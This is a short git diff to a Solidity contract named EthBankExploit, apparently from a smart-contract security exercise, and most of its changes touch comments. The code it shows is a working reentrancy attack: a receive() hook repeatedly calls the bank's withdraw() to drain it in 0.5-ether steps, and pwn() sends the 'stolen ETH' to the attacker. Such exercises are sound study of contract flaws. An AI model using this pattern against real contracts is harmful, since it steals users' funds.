diff --git a/src/EthBank/EthBankExploit.sol b/src/EthBank/EthBankExploit.sol index eb28bbf..98d6f82 100644 --- a/src/EthBank/EthBankExploit.sol +++ b/src/EthBank/EthBankExploit.sol @@ -17,20 +17,21 @@ contract EthBankExploit { } receive() external payable { - // drain until try to get the most ETH + // drain until try to get the most ETH // 0.5 ether is the interval to drain each time + // Equal to the amount I sent so that the withdraw does not fail if (address(bank).balance >= 0.5 ether) { bank.withdraw(); } } function pwn() external payable { - // deposits + // deposits bank.deposit{value: 0.5 ether}(); bank.withdraw(); - // send back stolen ETH to atacker address. - //why? transfer intead of call{value: address(this).balance} + // send back stolen ETH to atacker address. + // why transfer instead of call? payable(msg.sender).transfer(address(this).balance); } }